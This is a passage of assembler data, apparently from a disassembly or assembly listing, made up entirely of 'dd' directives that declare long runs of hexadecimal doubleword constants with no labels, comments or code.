		dd 98A7001Ah, 0AF97E66Ah, 0E7004D27h, 0B731C15Ah, 140D42EAh
		dd 8891A7C7h, 0D8ED0200h, 0CDC230D7h, 0CC612200h, 0C8937794h
		dd 0C1C70044h, 0DA9201E7h, 1F0E7FB3h, 0C06BC295h, 0F9261EAFh
		dd 0FAD50FDEh, 0F8402A8Bh, 9823AA18h, 7DB12900h, 24DF47E0h
		dd 6BD53DE7h, 0D8127080h, 8A88C743h, 68002C77h,	0AC5DC1F9h
		dd 98B78B9Ch, 2CA1260h,	0B410AFA2h, 0B2F402C8h,	0F5CF5AECh
		dd 0DD9A0060h, 9F1E3900h, 962EF53Eh, 30FC0011h,	425B57BFh
		dd 0FF01382Ah, 0A01C731Bh, 59F1105Eh, 1E609AD0h, 407AF887h
		dd 0F58FF168h, 0FA00B36Ch, 19B17B36h, 5E82EFh, 53FBCC5Bh
		dd 5D561304h, 75CE4800h, 0D9E63E4Eh, 0F1200003h, 3DF874E5h
		dd 400504Ah, 0B642D144h, 1DB3076Ch, 4F06C0h, 37134C64h
		dd 6300C238h, 72C7DB44h, 0F77677h, 616C0ABBh, 0F9A95187h
		dd 53DF3400h, 15D29F0Dh, 5B00956h, 2084AEE5h, 7D0EC003h
		dd 6400C793h, 0CA9DC286h, 7CD187h, 58C58D1Eh, 8A63662Ah
		dd 260014F2h, 126D9255h, 4018769h, 59EFF9EBh, 0B87C91C8h
		dd 50D0DC5Eh, 0D73CC212h, 8FE54400h, 71607BFh, 0A836D857h
		dd 0CE68B02Ch, 863DE03Ah, 0FBBE8495h, 4C807A6Dh, 15CA2Ah
		dd 8C3A0709h, 55A134Ah,	0B730C500h, 7C9BE717h, 103D602Bh
		dd 227BA9C7h, 5DEED500h, 0B3091B24h, 0A2980035h, 0F5886283h
		dd 4C0041ABh, 52A008F0h, 96FFDCh, 0AE9C9B73h, 0A6912F80h
		dd 403338h, 0D07ECC57h
		dd 24010205h, 549298h, 245022BAh, 0AD00F0FBh, 999697AEh
		dd 79F343h, 0D4B844FEh,	0A6BFE841h, 21C78D2Ch, 0C2511500h
		dd 3DF189Bh, 0E3CC55B4h, 0EEE04172h, 3F0F3968h,	0A106E811h
		dd 316FD8AEh, 13C70FC4h, 25FB13h, 8AEEB6B8h, 34016688h
		dd 0CA5715BAh, 988024EAh, 30EF431Ah, 8001C64Ch,	35E3AF70h
		dd 9DCFACCh, 0B50E03DAh, 883DEFD6h, 0EBB283C8h,	6660E613h
		dd 0A541B800h, 0AFA1B0Ch, 1C8BDEC2h, 80D51ECCh,	651AF5DFh
		dd 4BF0B2EFh, 1B3DB600h, 0FD7259A7h, 406760F9h,	88C9A0DEh
		dd 16B23700h, 830B4B7Fh, 226A0034h, 2890C243h, 0A139F6D5h
		dd 0CBE802Ch, 182ADFDBh, 0BA747Eh, 0ACF884CCh, 0D6EC3067h
		dd 3867700h, 6B3FF75Eh,	0E2080237h, 60CE9ED3h, 6F9C0C80h
		dd 480033D8h, 0BEFB39ABh, 1FC4E2h, 0D1215999h, 5FA4A15Dh
		dd 8ECB9502h, 0C015EEC3h, 1F5A07D8h, 0C4A05541h, 0D0318B4Dh
		dd 0B76E780Ch, 2B470F00h, 323AFE07h, 25ED007Dh,	11C78A3Eh
		dd 0F103DFC2h, 83E99EE0h, 0E0E7D26Eh, 90853BDFh, 9A65167Ch
		dd 779F00E8h, 0F6A85874h, 2E3C79F0h, 0E3BC0016h, 231C814Fh
		dd 66D0099h, 0B8D6A389h, 6B7F6205h, 0CDEC7800h,	0DA3FEE50h
		dd 0FB3CE68Dh, 1824DF8h, 2A660502h, 0D4747AFAh,	0B73C7026h
		dd 0C6E48030h, 9CA4585Fh, 0E255000Eh, 0D89DF20Dh, 0A807A7EEh
		dd 0BA3F8B21h, 0E83A0379h, 0B9759062h, 0DC1D0330h, 38E76384h
		dd 0A9B7C7F0h, 141E0A00h, 0E6C42A31h, 971D00BEh, 7DF7B443h
		dd 5650307Ah, 37001ED6h, 0E11FEF4Eh, 73D59A75h,	1F098B7h
		dd 7691D12h, 0DC9E3246h, 6400FC71h, 5438A367h, 0D8D1B7h
		dd 36100211h, 32A50F8Fh, 0BFE33C00h, 0EF69304Fh, 0BC0A00E0h
		dd 4728A33Ah, 9E40F35Bh, 7630042Dh, 86E126DFh, 3E2E69A7h
		dd 65018F93h, 0B12DFFA1h, 13DC92DDh, 74AA0091h,	3D0CD898h
		dd 90B8D4B9h, 421DDB02h, 0E0F10241h, 3F580D4Ch,	0FF13B5F9h
		dd 0C98C00C5h, 0C3B1059Eh, 2F014900h, 0ECFB118Eh, 132800CCh
		dd 0D4E70FE0h, 9803DDF8h, 0A1A84473h, 0F41D9826h, 950D0456h
		dd 0C0D646B4h, 4EE9695Ch, 0D796C000h, 0BF3E421h, 8194A1CAh
		dd 771C9032h, 3C57400Ah, 98211260h, 4261DE00h, 6C4BBB02h
		dd 6DC803D0h, 19107972h, 0DF1C3FE8h, 164FEB01h,	154A88CEh
		dd 3EF80471h, 0B61807B0h, 302FF406h, 9D245F60h,	0D9507C13h
		dd 0BFB3BC00h, 3E03Eh, 0E8A4D06Eh, 0D7E40244h, 0F9A0290Dh
		dd 4460ACEBh, 0ED3D009Eh, 0A18FA4B3h, 1EE6B1B6h, 86C96095h
		dd 3E479E8h, 2F2E487Bh,	85B83388h, 0FA00F125h, 979AFDCh
		dd 90503667h, 8E7E68h, 0F75D891Fh, 2195AD06h, 0D71A3D00h
		dd 0EEB02065h, 1B62E473h, 291DB877h, 0DBBB2F80h, 7A064D04h
		dd 6F031EB0h, 74B256D2h, 0B2213CE0h, 385A3903h,	2260C402h
		dd 17782868h, 0E2C65400h, 0C28A38DEh, 5B3010Eh,	61E46E7h
		dd 30CFCCCAh, 0D2EAF8A0h, 27DD50Eh, 0F149406Ah,	6F0EB7h
		dd 0FF404BD3h, 0B6911B83h, 2B0C9300h, 43E9D08Fh, 7C850084h
		dd 8A6B718Ch, 1C01E4B4h, 18FAE9Fh, 8C304FFDh, 6C4A0EA5h
		dd 3C439311h, 9BA83DB3h, 1400F451h, 309A49F3h, 68DD44h
		dd 1CF8EBE7h, 350F788Eh, 0E46AB103h, 7657DBh, 0B6C57711h
		dd 0D8713237h, 300748h,	6BF2C886h, 162ABFh, 79AE9450h
		dd 753876ADh, 86CAA48h,	24335DB0h, 0EBF10001h, 38B134E2h
		dd 0DBF7612h, 0B78508Ch, 11ED1EF2h, 108C0000h, 0D307C822h
		dd 0A1A4B80Bh, 25491D80h, 0B9F2D9h, 781E504Fh, 691B9384h
		dd 96759500h, 18708F66h, 0B890E6h, 27D67AADh, 0C346268Eh
		dd 4D00D57Ah, 6E4F9A4Bh, 61A001h, 0EC0541F1h, 191438D9h
		dd 112DC500h, 24BE1694h, 34EB0343h, 25F980ABh, 95D280DFh
		dd 3A00D893h, 4CA7EAB7h, 908C716Eh, 0F2DEFCACh,	77F2E0C7h
		dd 0B83726DBh, 0F8630925h, 51973440h, 3EAC817h,	72654A02h
		dd 8EC9607Ch, 0ADA9006Fh, 0DFFA4A44h, 881268D4h, 3080B394h
		dd 4437F5EDh, 920F2AE0h, 21DA36D1h, 0A6ACBFC2h,	1C7BD0F4h
		dd 0D3228288h, 0C1448068h, 0A51DBCFBh, 18C349ADh, 0BCE47D86h
		dd 0D4BAC880h, 5AE900A7h, 1B990339h, 0B6003C0Dh, 0C8EBE40Bh
		dd 90D4AE3Bh, 0CAE10003h, 711D483Fh, 7A0CD6D2h,	280F38CFh
		dd 0CB91462h, 0F300B86Eh, 2AE7592Ch, 98008CFFh,	0D1C37F30h
		dd 60B325CFh, 26EF1091h, 0A1009EF4h, 0F3389C90h, 3AF1700Dh
		dd 723C934Dh, 8600A15Ch, 2844129Ah, 2700A557h, 0E697FC9Dh
		dd 8FE5Bh, 8A4E131Fh, 0E2805C23h, 674E1E2h, 35E5300h, 0F1B54414h
		dd 45BD0075h, 0E3E794Bh, 2300689Bh, 76D5810Ch, 0E94601h
		dd 0AFF0B41h, 9CA38698h, 0B01F3500h, 28DF4451h,	3C9148FEh
		dd 6521409Dh, 66CBB35Fh, 2D7141EAh, 4A006C90h, 0E2DDF6F1h
		dd 0A92089h, 0CF3057D1h, 5F63EBB3h, 4CB83BE4h, 4AEC1A00h
		dd 6049992Fh, 5C650073h, 6A4D11ACh, 0FD7005D6h,	622F1413h
		dd 1DE03C14h, 0A8002A85h, 0E3111798h, 9F7E0903h, 0DC019D45h
		dd 0CD209390h, 9EA82034h, 94ECC800h, 8828F8DDh,	0C1FB00B6h
		dd 565790F1h, 2300C9BBh, 59B93BD3h, 690AF7h, 3C8D5EEAh
		dd 0FD429A24h, 5F62DC05h, 0E280836Bh, 0E1F803Dh, 0B4484361h
		dd 0C865CAE0h, 0CC0026E8h, 0F049D8AEh, 0F401F163h, 696F1E8Ah
		dd 8064DEC4h, 655F12C2h, 491E7BF7h, 0FC800C14h,	0AE6D4F7Dh
		dd 61E800EEh, 0A9945F7Ch, 8818CD3Ch, 10112AC7h,	0DAFA86h
		dd 0C4960F34h, 0AE747DC2h, 0E7886700h, 8E611476h, 0C63B075Ah
		dd 609759BCh, 8835ACB9h, 2C1EA800h, 80A61899h, 0B38300F7h
		dd 0FA044234h, 6A00C410h, 5BBAFCD2h, 90C6997Eh,	0E861FBD8h
		dd 0D5CAF600h, 845800EAh, 708B7F7Ch, 0B9008F6Ch, 0D2A0493Fh
		dd 292897BBh, 0E89A5Dh,	0ADE7013Eh, 4BE49412h, 20E03Eh
		dd 0B130802Bh, 0B94FF875h, 0D6ED0018h, 0B85744E0h, 14FB5Ch
		dd 9928A4AAh, 738A2DEh,	3EE3E848h, 40EED008h, 0DA07EF0Ch
		dd 966D303Fh, 649DA220h, 0E1E700BAh, 0E2580217h, 0F63D6A5Ah
		dd 99CC8E8Ah, 385FE02Ah, 58E8D74h, 0B8D5E0B4h, 0F840C086h
		dd 8400E91Ah, 16A30F3h,	0EA29AFh, 0ABF07668h, 48CEFD3Ch
		dd 0DCC6200h, 8D3D0882h, 2E6F0043h, 4DA4A2DAh, 2AEC3E6Eh
		dd 0CC964A00h, 0F78ABE49h, 0AE9003D4h, 29D9C7B1h, 0B7A660FFh
		dd 5100DD42h, 67B02E6Ah, 47B63CEh, 5C1AD022h, 0C11E40BDh
		dd 6A1BA2h, 957592DAh, 0ADC340C8h, 0D330AC09h, 674A2DDh
		dd 0C7B7C0F2h, 484F86h,	218714E8h, 0B4926E6Ch, 78AC9C05h
		dd 0BC00825Fh, 0DD8A4B91h, 32890026h, 8FA3BC35h, 0FC00703Ah
		dd 59B48D03h, 2CC9C4ACh, 73415F9h, 500748h, 9255FDCAh
		dd 0D26D1700h, 7C9B3577h, 564758Dh, 0BF1B26B8h,	857C81E3h
		dd 2E1A20CAh, 0D67E85B8h, 9609D21Ch, 0B3871600h, 90CBDD1Dh
		dd 53810073h, 0A2638D7Ah, 0C116335Ah, 3C00B67Fh, 0E3CEE131h
		dd 2DDF0027h, 32C44418h, 0F07A311h, 660C2A88h, 0A09380C0h
		dd 341B07BCh, 0B374CC2Ch, 0CDD07A73h, 8401691Dh, 0C5548ABh
		dd 78D8D8E4h, 636000A8h, 9B4F358Fh, 1800D4C5h, 7DCABA6Eh
		dd 2999F3h, 0B51A0DD8h,	77981284h, 0D3EE0300h, 56AB1683h
		dd 0DE350033h, 0D11BC891h, 0EEE03E14h, 80367125h, 345C960h
		dd 0CAC800CBh, 81BC8C5Fh, 5500F476h, 88E37513h,	1C9EC3F2h
		dd 0C0B96E28h, 12D6241Eh, 0CD001B10h, 2296AD5Fh, 5D0944h
		dd 9A9F4A1Ch
		dd 11C92D5Bh, 0F82AA83Ah, 11494132h, 0FDCB021Ah, 0F2A010A0h
		dd 5D00340Bh, 7D9C8C29h, 304A247Fh, 11A02F56h, 550789A1h
		dd 8DC2AFF6h, 684AB88Ch, 802C201Eh, 10086A61h, 12EE50DCh
		dd 0A354AEF2h, 3F844B18h, 0CE980AA6h, 0A7A238E1h, 889BBE29h
		dd 1431160Ah, 7070210h,	60AEA789h, 12D87372h, 64DBBC00h
		dd 56C80608h, 27C40034h, 0EA58DCF2h, 25009C13h,	111B0954h
		dd 3A7A8364h, 0E4007406h, 0E8DD9644h, 0AC034768h, 36401B0Bh
		dd 1CA1986Fh, 20612C82h, 0A57807FDh, 0D33AE02Ch, 1024D605h
		dd 4C00326Eh, 33E56281h, 931C3C38h, 0A8B34400h,	1D86D36Ah
		dd 0C50F7500h, 2E704807h, 0C81E1DBAh, 0ADDE800Ah, 72305250h
		dd 4C00BB4Bh, 77449B51h, 11F9CA12h, 8095F04h, 0EE4605Bh
		dd 0EBD20091h, 45826A59h, 70009885h, 203C9D93h,	474CDA3h
		dd 2236A615h, 7C8C865h,	4BBBD00h, 0DE3C1197h, 9F1F1D27h
		dd 4F2F84ACh, 6110C07Ch, 50829BFCh, 6F2B07E4h, 436A413Dh
		dd 0C9F82590h, 617F10FDh, 21C74A00h, 0B8B9E0A6h, 77F32EAEh
		dd 0AA803E9Ch, 95FB98DCh, 1F009CA8h, 16469EA0h,	3903CC50h
		dd 86002B9Ah, 2AFC8D9Bh, 0F5004D83h, 9F25C2F7h,	11EB6Bh
		dd 5B1262DAh, 0CD82B896h, 0A840834Bh, 786E02DBh, 1F8E00C1h
		dd 93192D95h, 51000EC3h, 68162CDFh, 0CC4FBE4h, 7F566BD9h
		dd 1D001768h, 33AA44D7h, 71B9DDA4h, 0C7960010h,	28E42B5Ah
		dd 140038DAh, 653A6F13h, 1F682473h, 0C05AD858h,	55E9C790h
		dd 20A5274h, 84B50DBBh,	5F339800h, 56CABAAh, 1E4C5D31h
		dd 0FCD80B10h, 0D4E66702h, 0D8945CD8h, 93C8C07h, 600BB222h
		dd 0FB86A8h, 0BA1360E8h, 64F7536Bh, 2F665B0Ch, 0F4B860A5h
		dd 8B8A107Fh, 0CC6C2CFCh, 80DCDF8Eh, 0E50F159Fh, 3E1300C0h
		dd 0D61003D5h, 2406755Fh, 4B417608h, 0E7462CAEh, 240025B8h
		dd 5ACD7184h, 0D96EE100h, 9957911Ch, 0F94E0533h, 3CBD17h
		dd 19CFA398h, 4201E07Ch, 3189C0B0h, 18C8F0F7h, 0E5E300A7h
		dd 21A5827Dh, 7E0384EAh, 25D748CDh, 0ED77FF60h,	9D684B51h
		dd 0E5E9AD4h, 3EF62A97h, 1CD6C960h, 88E2C555h, 525B0900h
		dd 9D1E3A94h, 969A0225h, 9B89BC4Dh, 0D15044E0h,	0FA76BE00h
		dd 0C7FDC827h, 9F820014h, 8D8EE528h, 0B000D856h, 0AA16B23h
		dd 7DAAF1FAh, 0B8BD0416h, 87DED60Ch, 25A75F9Ch,	0DF7FE0E2h
		dd 730176A3h, 0FB7281B7h, 0F730E55Eh, 42E900C5h, 0A56CC94Ah
		dd 27122A73h, 6800D61Ch, 16AE8202h, 0DEDF3CD2h,	190F980h
		dd 6DA4E6CEh, 0A5139500h, 874B968Dh, 0F1764091h, 38E43A7Bh
		dd 71EDFC0Fh, 221BC0D6h, 7E05760Ah, 3FEA0241h, 94CAA715h
		dd 4D1FD054h, 896ED440h, 77F40E9Eh, 3C14F6B1h, 60028A6h
		dd 0A229A3C7h, 0A900D2DAh, 23DD7DCh, 9D81E3ADh,	7226EF50h
		dd 0F493405Dh, 0FE9C6C80h, 972000C1h, 0BBEAE4DBh, 63006B2Ah
		dd 30D6EE07h, 0E82FD0h,	0BC9B4B9Ch, 9EA88EFCh, 6BFA2C90h
		dd 0D2C08BCh, 0AC854407h, 4D8A78ACh, 0BC004CE3h, 9364A3C8h
		dd 75007CB7h, 0CD122C8Ch, 753C28Ah, 0CB5F9CD8h,	0C7222518h
		dd 54FAF285h, 0A740C50h, 0E83AEF70h, 88302461h,	4880F000h
		dd 81CE5Fh, 8EB13469h, 0A489D838h, 5C22430Eh, 0CDE3E1F9h
		dd 0D9DC8751h, 2B3C00EFh, 4D033BFEh, 0A8007501h, 0BC44309Bh
		dd 85EA4Ch, 7659FB12h, 6CA9E622h, 560037ECh, 735D5CB9h
		dd 0FC897E5Fh, 70BCE36Dh, 20507F80h, 8B19F00Ah,	0C73D8700h
		dd 795EB5F6h, 732C0F69h, 7500D5A8h, 3D05D21Bh, 0C400957Eh
		dd 3A18D6F0h, 14EF1FCh,	777625F8h, 539FC3BDh, 79A02998h
		dd 723CCC14h, 22062D2Dh, 28C2364h, 66C0DCC0h, 1F00993Ch
		dd 0BE6C2BE4h, 575AD2h,	3990538Dh, 0AE7A07A1h, 46F09407h
		dd 0B41343A5h, 0B115A997h, 0C883B121h, 0CDB03678h, 3B610F90h
		dd 0D6C5AB0Ah, 1560D41Bh, 7CD2C3A3h, 5B0C01B2h,	0EA12B5A2h
		dd 836864B6h, 48B4D8F7h, 0FC490226h, 0D9137D00h, 0E54E995h
		dd 0A59A4089h, 10B7EF47h, 513548ECh, 0C11C74F2h, 0A0C08172h
		dd 0B0DAC8F9h, 742A5C58h, 1BD2FD03h, 39C856C0h,	148C58Bh
		dd 0DEFE04B5h, 0F887128Ah, 0B0C95CB0h, 0CB240083h, 0B57DC81Ch
		dd 6301D7B3h, 0C154A820h, 20644996h, 0E5AB0087h, 7F7B326Dh
		dd 500904CFh, 2041FA6Eh, 96450284h, 0F1180F34h,	0C9610C8Eh
		dd 438F5281h, 89D00DB8h, 0BA00632Ch, 4FB3E696h,	0EA036533h
		dd 0C05600D2h, 0B13513B2h, 8C0C3B3Fh, 1014AEC3h, 556400B9h
		dd 0AC3E2252h, 13B43F3h, 7FB004CBh, 0B8801C21h,	3CB293B8h
		dd 0F200984Ah, 48412053h, 0A90FC607h, 0E0135605h, 25BE74A0h
		dd 0AC673AC2h, 0D34B8C00h, 0EC769ECFh, 0A8883D00h, 0AD61F398h
		dd 4E080146h, 0AF72D4Ah, 47A0DC71h, 147B7300h, 0CF952026h
		dd 253F074Eh, 32C984h, 0F75FA564h, 9CC5ED02h, 0C0CC576Eh
		dd 0FA82B3h, 876FE3D2h,	0A576E9C9h, 0E595CE16h,	0A0BB7497h
		dd 0F0B40708h, 7B61005Ah, 0F494867Ah, 0EF004226h, 40B25650h
		dd 8A9548h, 0A0B9E6Dh, 4C1A8F04h, 3801FC7Dh, 77960DB7h
		dd 0A8D0D6F4h, 561800C2h, 5E21E47Ch, 20282CCh, 93B71984h
		dd 8165423Bh, 0BC2D334Dh, 305DEE4h, 0A62B6FADh,	7680A7E9h
		dd 2500DB11h, 4ECBA345h, 3F3EDA2h, 790E787h, 0FE805C7Ch
		dd 627174EFh, 31A34413h, 0C53ACA01h, 0A47429E5h, 90904C7Bh
		dd 35F39D0Fh, 653BC487h, 0A888C0DDh, 690254CCh,	7372B209h
		dd 745663h, 0A20C94BDh,	0AF717412h, 0DD532900h,	0A00450D5h
		dd 26A6728Bh, 858C07EEh, 0D0166E64h, 246790DCh,	87952500h
		dd 0A937E22h, 10DA505Dh, 142018Ch, 5C50DC0Ch, 3051D40Eh
		dd 2A301272h, 71825103h, 8EA09416h, 9F800AA7h, 288F568Ch
		dd 0F63FB502h, 0E0E7AE17h, 793A97h, 23F82F46h, 0C7B015D4h
		dd 0A98DF91Ch, 0E81F1200h, 1C952D2Ah, 707D07EFh, 2F5648A0h
		dd 0FE4CFFEAh, 88123000h, 60FA866Fh, 0A7A070E1h, 504A47E0h
		dd 0C12FC56h, 0C40C0891h, 0C6C8C08Eh, 54005B8Fh, 4E42EC2Fh
		dd 0F1E03700h, 0E996FD10h, 229005Dh, 1F1511CEh,	917D62EEh
		dd 6401D398h, 0C85DAE7Fh, 2FE85F8Ah, 80450004h,	0F4539E4Ch
		dd 3600AA6Dh, 0F055B8Bh, 0F99DE2h, 0AE6AC279h, 24C0C141h
		dd 0B9B64E0Ah, 9B00CBCAh, 81D9A2E7h, 0B35C07F8h, 3001AA30h
		dd 0DABD4A66h, 3A95100h, 0FDF225B1h, 0B97F7Ah, 6C4B825Ah
		dd 50B275C3h, 4AC8D400h, 27A6ACD9h, 8BC200A0h, 5ACB425Dh
		dd 6638648Ah, 0F13D819Bh, 2BEBBB79h, 29000028h,	0B2D6E8B6h
		dd 84265E16h, 0EF80486Ah, 9EB12E0Ch, 3CC70BBh, 6BBE8F36h
		dd 0B4E010D4h, 0E21E910Eh, 23AB120h, 690207F8h,	31B88068h
		dd 10FEFFFh, 9A7CDC87h,	0F0CAE063h, 4231912Eh, 0BC7250F0h
		dd 4FE034h, 59CBD7AAh, 32F15129h, 0AEC78301h, 0B890FC11h
		dd 1A701880h, 9BA9867Dh, 8524A81Eh, 0DE61110Eh,	57AA7E03h
		dd 2F281C90h, 78641EFh,	0D1DC118Bh, 441880BDh, 6134BCDh
		dd 34C32570h, 0C10060BCh, 65B1226Bh, 7A41D61h, 0FFA4F87h
		dd 9923C0B6h, 0ED0028C3h, 83DEC89Bh, 4C70A6h, 72A31275h
		dd 688A8278h, 0BE9A7D00h, 34B42667h, 9C88A03Fh,	14491E6h
		dd 58E9C769h, 0CE40EE0Eh, 8CCD64Ah, 4E21BDh, 0B4EFE99Fh
		dd 0D28AE540h, 0F05BFF30h, 1FDFE294h, 1295A57h,	97DA7E09h
		dd 82E8838Fh, 15123D2h,	0BBC1128h, 0F607E748h, 7335D480h
		dd 9904A1BEh, 0F7EB0989h
		dd 87A804D0h, 0F4F955EAh, 0AFB741DAh, 25D3F440h, 9FA90CC8h
		dd 0C920D76Eh, 305C8505h, 2038EA78h, 29846D8h, 0A1C96B38h
		dd 14640Ch, 9B5581FFh, 30F64D8Bh, 0D809646Fh, 3E791F21h
		dd 5C012655h, 0C06FAA93h, 0B5F18259h, 72712D34h, 96F100DCh
		dd 9F937FC1h, 921D8D22h, 0D18246Fh, 9ECB21h, 0D927A5C1h
		dd 0AD537649h, 0B254BD00h, 9B4A89A4h, 0CA98A080h, 310802FCh
		dd 0CC3D708Bh, 471110C1h, 0C964E39Ch, 7F60209Dh, 8B239555h
		dd 13117Dh, 7855771Dh, 0BE7EB42Dh, 98003E9Ch, 0AE0E3F66h
		dd 9427B884h, 0A538C061h, 9C79032Ch, 0CA7F0D5Dh, 0AD290800h
		dd 16465696h, 0E4B80151h, 0C9665EF3h, 824448A2h, 8B965508h
		dd 7A247075h, 0EBDD20C3h, 52E8FE5Fh, 9F2A0B3h, 9D2E5430h
		dd 1958F7F0h, 8D8A8050h, 0BB2A3CFh, 12790FC3h, 9710ED81h
		dd 6ED8236Fh, 97853170h, 0A73082C1h, 34E43890h,	1D9FD280h
		dd 804E1FC1h, 27CC8966h, 3F1A55E6h, 42602A16h, 96A88440h
		dd 3EE9D067h, 4F432C0Eh, 4C5CC122h, 810D0120h, 8B9809DCh
		dd 483F2C20h, 5903A45Dh, 0EE027EC6h, 0C087603Ah, 0A40E8C9Fh
		dd 920E59E9h, 87D838h, 0FBBBE99Ch, 86BF444h, 89D80A05h
		dd 448817F2h, 8EF6035h,	7D7AF1E2h, 87802448h, 4190DF61h
		dd 1EAFC98Ch, 2ABE45F7h, 0F3430F8Ch, 9C2915D9h,	60A04404h
		dd 21945724h, 46C0458Bh, 31B2557Ch, 95A98EE6h, 7908840Ch
		dd 40905E1Ah, 7508FEh, 0CA2E3096h, 32DCBE18h, 0EFBF6600h
		dd 5BA54658h, 949F03F3h, 67337F2Ch, 0BCBB390Fh,	0DAD00197h
		dd 43D04E70h, 8FF718FAh, 0B9E78989h, 0FD0479C7h, 5A034790h
		dd 82BE0FA3h, 1A80C0D6h, 772EE1E2h, 0ED8FB21Fh,	59FE3FC1h
		dd 0DEF0A481h, 0A7AF0010h, 8B162D42h, 0CA3EA189h, 1A7C0A86h
		dd 0EA8AC30h, 0A7B1CC0Ch, 0CCB0287Ah, 66A95931h, 89CC5700h
		dd 14FF22D5h, 0AF600525h, 8DE858Fh, 0A3C0A0F4h,	460E54E9h
		dd 126610BCh, 0E99B8A00h, 0CEFBE3F7h, 6A57A900h, 94C05431h
		dd 0FAE01C38h, 9BC48993h, 1A8C5880h, 8491CF0Fh,	93805811h
		dd 0C794F2C1h, 0D6E6448Ch, 91C19B00h, 0AE9FE199h, 7B098EBh
		dd 0AA5AE9FBh, 0CB2B2134h, 68B8B1C7h, 6E07CEF3h, 91121BA0h
		dd 0D8B07E50h, 0DEA07A09h, 574501Eh, 0EA89C6FCh, 0A1A09057h
		dd 261C9FA7h, 7F00CD0Eh, 1AC5E594h, 205A6521h, 23B83ACCh
		dd 0AE880061h, 0ACE4CFB3h, 90B41913h, 897A1C20h, 0D0FF690Eh
		dd 0F42F88Fh, 0F08BDCh,	2B653707h, 2C90A2D3h, 0B9FBA88Ch
		dd 0C4CD3E04h, 250554B8h, 0A72A7B36h, 0EE5318D0h, 9F51C85Eh
		dd 9156F3C0h, 0F41D218Bh, 413E1B91h, 4765580h, 182BC595h
		dd 1783161Eh, 0AB434ACFh, 2550A0A8h, 0C1292FDEh, 83AA7A70h
		dd 9C6042BEh, 98558030h, 0F4252B47h, 78428160h,	70E3B355h
		dd 0A66184C0h, 599147C1h, 8808CB14h, 1289C01Ah,	0A47D8D02h
		dd 9E82370Fh, 47A3C3B0h, 8AC6B299h, 6E0920CCh, 0DE88A221h
		dd 4004C7Eh, 0A7C7CC59h, 205D626Ah, 65CC516Ch, 0E92419FEh
		dd 9011B079h, 40EDA41Eh, 0C881D7A6h, 7EC18FEh, 76A180F5h
		dd 306BDC19h, 2C9A0093h, 0F131371Eh, 0CCE24305h, 0C87E5701h
		dd 0E00A80EAh, 978A897h, 0AC3056B0h, 2811C18Dh,	0E088B795h
		dd 0C140D09Fh, 4EC0E3E4h, 0B20180Fh, 52D78108h,	2D373B06h
		dd 511372h, 0BACB3A07h,	7E2609D6h, 0F1E87330h, 3134ADE2h
		dd 5E11A812h, 0DF49855Dh, 7C8BB481h, 44C0E6C8h,	0EF0B4B2h
		dd 845D9B7Eh, 425A5179h, 0C88303C3h, 89D5ED8Eh,	0E2C447D0h
		dd 0E0400FB6h, 19C01472h, 36085AFFh, 1820042h, 3CED525Bh
		dd 0DA753FC8h, 5A848CBh, 0A41DFCF9h, 0FD5A41C6h, 87E40218h
		dd 601B516h, 189A9061h,	2C4198CDh, 7084CC0Eh, 0E909A588h
		dd 0A977B9E4h, 0C6788038h, 596A3F54h, 9B88E034h, 3DE9C8C0h
		dd 2284460Eh, 0A05B01BEh, 33ABD5E9h, 2342463h, 18F8D176h
		dd 0B42A4F00h, 0B5FB3965h, 8E451457h, 56108CCCh, 7910060Dh
		dd 4980265Ah, 9B820EBh,	0D4003543h, 1C644E20h, 7840D05h
		dd 1D0ACDB2h, 44329066h, 0AE24102Dh, 854110E1h,	80051268h
		dd 63ABEDF8h, 0EF664A03h, 64335Ah, 0E2CE4CD9h, 0D4E2A17h
		dd 0D6681400h, 7642D7D3h, 9CA414D8h, 9403FC89h,	85A20460h
		dd 8AABA0C7h, 0C32E5E9Dh, 0DC4B2C8Fh, 0B4A51519h, 5BE9CA80h
		dd 0E0ACD40Eh, 89BC44h,	86B6E9A2h, 0B4EC275Ah, 8D9219C0h
		dd 0F297E10Eh, 0B10500F4h, 9EDA5D0Dh, 0ED129458h, 48201047h
		dd 25295695h, 3C1B8FADh, 2C4DE3C2h, 0D560C264h,	0A81FC0E7h
		dd 25069F85h, 21B5E5h, 592482B7h, 5547DB54h, 76B43C01h
		dd 5C051A85h, 2F237C29h, 81C19C00h, 86246F93h, 0D10A44h
		dd 3AF1C1A4h, 2FF22E04h, 0CE89364h, 81763B45h, 93456F2Ch
		dd 4C60B260h, 1123944Ch, 30B4AEFh, 59788CA9h, 0DE60A8B6h
		dd 5D5C38F9h, 0E915F682h, 0F841C6E0h, 46C412C9h, 0FBE213D4h
		dd 20C08943h, 0C89B8B05h, 0C8CC5A01h, 521872A7h, 0CCD56B89h
		dd 9248ECh, 38827928h, 27D2951Eh, 295A6502h, 0E5B4FADEh
		dd 350AE250h, 0E442E218h, 4C8A1CE6h, 88CF5289h,	4E010110h
		dd 0A1684795h, 0D2F4B8C4h, 0CCAB4896h, 94DC2614h, 238C2F4Bh
		dd 0D98700BEh, 0C953DBFDh, 0C15C84B0h, 11D0C858h, 0CC568077h
		dd 8C52A7A4h, 6F5444h, 30B1082Eh, 4FE2E9D2h, 904DDA17h
		dd 0EEDFFB01h, 0A029E878h, 18E01F04h, 7E0815Dh,	9DD8500Ch
		dd 6704EA91h, 7CDBA161h, 9EA2E880h, 0F2080F60h,	712EE2Bh
		dd 0CF8154DCh, 474E3521h, 1D42277h, 3969D29Eh, 0C4C61021h
		dd 279DFE28h, 400486ECh, 572660A6h, 158B1092h, 7E48B0F4h
		dd 89D00555h, 158EF4Ah,	6FE1B18Ch, 0BC82CEBEh, 4C7293B4h
		dd 34609009h, 4ACF8621h, 87320B21h, 81C1476h, 2156BC94h
		dd 46801265h, 8D6E28E2h, 19C33BBAh, 3E890F86h, 5E1260FFh
		dd 0E80B9CB7h, 9168976Ah, 0BA278018h, 0C02A95B8h, 0FCEAF8D1h
		dd 987CECh, 9C88B92Eh, 9CF27A02h, 811845C6h, 1B0B9F5Dh
		dd 3A94102Fh, 0A37416F6h, 0EA6C20EBh, 640024E8h, 0A148411Ah
		dd 6924Dh, 830B5510h, 79D0DDFDh, 0EC30E8A4h, 6F45398Ch
		dd 0DB5E0169h, 0B4DEE862h, 8B344078h, 0EA4BF1B8h, 0B9D7041h
		dd 998F6BE6h, 159E0EE8h, 7A81CC91h, 0EC36E98Bh,	5A264EE7h
		dd 78E40C42h, 0CDCC5B60h, 7C5AA724h, 536A70h, 0D7BCBDCCh
		dd 5F5666A6h, 0D104777Bh, 7F13EA8Bh, 0CC0E68A5h, 2EC01B88h
		dd 0ECC59B9h, 7C09BDD7h, 0A15B0473h, 0B244F34Ah, 71D6300Ah
